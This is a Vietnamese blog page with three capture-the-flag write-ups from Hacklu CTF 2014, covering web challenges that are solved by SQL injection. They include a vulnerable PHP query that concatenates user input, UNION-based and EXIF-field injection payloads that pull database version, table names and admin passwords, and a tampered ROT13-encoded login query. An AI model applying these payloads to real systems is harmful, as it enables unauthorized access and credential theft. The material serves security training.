BYTE

Write_up CTF by BYTE

Test gist

Published by byte.kve under on 10:27

[CTF Writeup]Hacklu CTF 2014 | Killy The Bit Web 200

Published by byte.kve under on 05:24
Killy the Bit is one of the dangerous kittens of the wild west. He already flipped bits in most of the states and recently hacked the Royal Bank of Fluxembourg. All customer of the bank are now advised to change their password for the next release of the bank's website which will be launched on the 23.10.2014 10:01 CEST.

Killy the Bit stands in your debt and sent the following link. Can you break the password generation process in order to get access to the admin account?
Chúng ta có một file sources index.phps
Backup: http://pastie.org/9669992
Đầu tiên thì phải nói là bài này khiến mình mất khá nhiều thời gian, dẫu biết là sqli ở name, nhưng vẫn không có thể tìm ra flag một cách nhanh chóng. Và trong 30 phút còn lại của buổi học, cũng như contest này, Lan đã gặp Điệp.

$res = mysql_query("SELECT name,email FROM user where name='".$_GET['name']."'");

    if(mysql_fetch_object($res)) {       
        // Generation of new password
        //<topsecure content>
        // this was filtered during the creation of the phps file
        //</topsecure content>
        die("A new password was generated and sent to your email address!");
 Hmm, đầu tiên thì mình nghĩ đến việc rằng sẽ sử dụng blind ở đây, vì theo mình nghĩ thực chất sẽ không có một đoạn code nào generate new password cả, vì mình đoán chắc chắn flag sẽ nằm ở đây ( và sau khi hint, số phần trăm đã tăng lên 110% :)) ). Cộng với việc có một comment khá thú vị ở đây:
<!-- blind? we will kill you :) -->
if(isset($_GET['name']) && $_GET['name']!='' && !preg_match('/sleep|benchmark|and|or|\||&/i',$_GET['name']))
càng làm mình có ý nghĩ blind sqli để ra kết quả, nhưng nghe có vẻ hơi khoai :'( flag chắc chắn sẽ đâu có ngắn.
Cũng may thì đến đây BTC lại ra thêm 1 hint mới là "Blind SQLi is not a good solution. You can get the correct and complete flag with one single request".(__ __!!) ok, single request, và để ý lại đoạn code, chúng ta có gì nào:
Nếu các bạn tinh ý hơn ngay từ đâu, chúng ta có thể nhận ra rằng có thể thực hiện một câu lệnh sqli đơn giản vào $_GET['name'] với một giá trị được xem là "look like".
while($row = mysql_fetch_object($res)) {
           echo $row->name;
           echo "<br>";
Ngay và luôn, mình thử query:
https://wildwildweb.fluxfingers.net:1424/?name=adm' union select concat(user(),0x7c,database(),0x7c,version()),2 limit 1,1-- -&submit=Generate#
và:
We couldn't find your username, but it sounds like this user:
ctf-level@localhost|ctf-level|5.5.40-0ubuntu0.14.04.1
So simple!
 https://wildwildweb.fluxfingers.net:1424/?name=adm' union select passwd,2 from user where id=1 limit 1,1-- -&submit=Generate#
Flag:
We couldn't find your username, but it sounds like this user:
flag{Killy_The_Bit_Is_Wanted_for_9000_$$_FoR_FlipPing_Bits}

[CTF Writeup]Hacklu CTF 2014 | ImageUpload Web200

Published by byte.kve under on 04:29
In the Wild Wild Web, there are really bad guys. The sheriff doesn't know them all. Therefore, he needs your help.
Upload pictures of criminals to this site and help the sheriff to arrest them.
You can make this Wild Wild Web much less wild!!!

Pictures will be deleted on regular basis!
https://wildwildweb.fluxfingers.net:1421/

Đầu tiên mình thử upload một bức ảnh huyền thoại của windows 7

Phải nói là đầu tiên nhìn vào đây mình cũng chưa nhận ra điều gì, vì còn phần Login ở trên nữa, mình đã cố gắng thử sqli xem nhưng không thành công ( mặc dù đã đọc đề bài rồi mà vẫn.. __ __!!)

Tiếp tục nào, mình đã cố gắng upload shell, nhưng cuối cùng cũng uất ức tuyệt vọng nỗi đau tràn trề. Nản rồi, lại đá đi đá lại mấy bài web, có ý tưởng trong đầu mà không giải quyết được, và rồi 1 lần lão enter dạo bước trên irc chat thì nhận thấy một hint là hãy tập trung vào exif. OK, nhìn lại xem nào, và nhận ra 1 điều giống như mình vừa ở trên trời rơi  xuống vậy. Để ý các field Width, Height, Author, Manufacturer và Model, nghĩ ngay tới cái hint vừa rồi. Như vậy, ý tưởng của chúng ta sẽ là inject bằng exif data của bức ảnh.
Ở đây mình sử dụng Windows luôn ( Right click -> Properties -> Details -> Author field), không hiểu sao mình viết query vào ảnh bằng exiftool nhưng lại không được :'(
Trước hết chúng ta sẽ tưởng tượng, một INSERT statement có thể sẽ giống như:
INSERT INTO 'table_name'('width','height','author','manufacturer','model')
    VALUES ('width_value','height_value','author_value','manufacturer_value','model_value')
Và giá trị của các column width và height sẽ là integer nên ý tưởng sẽ là inject vào các coulmn còn lại:
 kve',(select version()),'byte.team')#;
và:

I got it!
 kve',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'byte.team')#;
 

  kve',(select group_concat(name,0x7c,password) from users where id=1),'byte.team')#;
 Login vào lấy flag trong khi giáo viên đan giảng bài môn SQL :v
You are sucessfully logged in.
Flag: flag{1_5h07_7h3_5h3r1ff}
Còn 30 phút để có thể nâng cao điểm số, và mục tiêu là Killy the Bits.

[CTF Writeup]Hacklu CTF 2014 | Encrypted Web 50

Published by byte.kve under on 02:56
Legend says there is a bank vault in Jamestown which cannot be broken into. The only way inside is through an authentication process. Even Jesse James and his companions failed to break the security of this particular bank. Can you do it? https://wildwildweb.fluxfingers.net:1411
Có một form login cho chúng ta, tất nhiên trong đầu vẫn là sqli rồi:

Thử login nhé:

Với kinh nguyệt, à nhầm chút kinh nghiệm nhỏ bé của mình thì vẫn có thể thấy rõ ràng một sql query đã rot, như 1 thói quen, ROT13 nhé:
https://wildwildweb.fluxfingers.net:1411/dologin.php
?dhrel=SELECT+`name`+FROM+`users`+WHERE+`name`+=+'test'+AND+`password`+=+MD5('test')
LOL
Nhìn vào chúng ta có thể thấy rõ ràng không có ràng buộc nào ở đây với password=md5('<name>'), thử query lại nhé ( ROT trước rồi mới exec nhé :D)

Encrypted Login

bad password
Thử lại với name = admin:

Encrypted Login

Hello admin! The flag is flag{nobody_needs_server_side_validation}.
 Great, that's work! Submit và nhận về 50points nhỏ nhoi :)